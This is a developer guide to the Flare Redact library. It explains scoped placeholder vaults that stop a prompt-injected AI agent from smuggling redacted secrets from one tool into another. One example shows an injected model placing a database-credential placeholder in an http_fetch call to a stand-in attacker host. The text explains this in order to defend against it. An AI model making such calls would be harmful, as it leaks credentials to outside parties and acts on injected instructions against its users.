Agent and MCP security guide

Secure secret redaction for MCP and AI tools

Reversible redaction needs an authorization boundary. In a multi-tool agent, each placeholder should be restorable only by the tool or trust domain that originally exposed it.

By Umud Hasanli · Updated August 4, 2026 · Examples tested with Flare Redact 1.4

Short answer: use createScopedToolBoundary(), assign scopes in your trusted tool registry, redact a result under the executed tool's scope, and restore a future call only under the destination scope resolved by application code.

The cross-tool placeholder problem

Suppose a database tool returns a connection string. The model sees only an opaque placeholder. A prompt-injected model does not need to know the secret to try to exfiltrate it: it can copy that placeholder into an HTTP tool's URL.

database result → [FR_POSTGRES_URL_opaque]

model proposes:
http_fetch({ url: 'https://evil.example/?x=[FR_POSTGRES_URL_opaque]' })

If one shared vault blindly restores every known placeholder before every tool call, the HTTP request receives the original connection string. The model never saw the value, but it still moved authority between tools.

Create a scoped boundary

import { createScopedToolBoundary } from 'flare-redact/tool';

const boundary = createScopedToolBoundary();

const databaseResult = 'postgres://admin:secret@db/prod';
const safeResult = boundary.redactForModel(
  'database',
  databaseResult
);

The boundary creates an independent vault for the database scope. The placeholder can be restored in that scope, but remains opaque in http_fetch.

boundary.restoreForTool('http_fetch', safeResult);
// still [FR_POSTGRES_URL_...]

boundary.restoreForTool('database', safeResult);
// postgres://admin:secret@db/prod

Resolve scope from trusted routing

A model-produced tool name is untrusted input. Your application must resolve that name against the same registry used to authorize and execute tools, then pass the registry-owned scope to the boundary.

const proposedCall = await model.generateToolCall(modelContext);

// Registry validation owns tool identity and scope.
const acceptedTool = toolRegistry.resolve(proposedCall.name);

const localCall = boundary.restoreForTool(
  acceptedTool.scope,
  proposedCall
);

const result = await acceptedTool.execute(localCall.args);

const safeForModel = boundary.redactForModel(
  acceptedTool.scope,
  result
);
Do not accept a scope string supplied by the model. That would turn the authorization check back into attacker-controlled data.

Restore at the final application boundary

restoreForApp() can restore placeholders from every scope for a trusted final response. Call it only where the application is authorized to display the originals.

const finalForUser = boundary.restoreForApp(modelAnswer);

// Clear one tool when its authorization ends.
boundary.reset('database');

// Or clear the whole conversation.
boundary.reset();

Unknown placeholders are left unchanged, scope creation is bounded, and placeholder collisions across scopes fail closed.

When the legacy boundary is acceptable

createToolBoundary() remains available for a single tool or one trust domain. It intentionally restores any placeholder in its shared vault. Do not reuse one legacy boundary across tools that have different network access, credentials, tenants, or data permissions.

Agent boundary checklist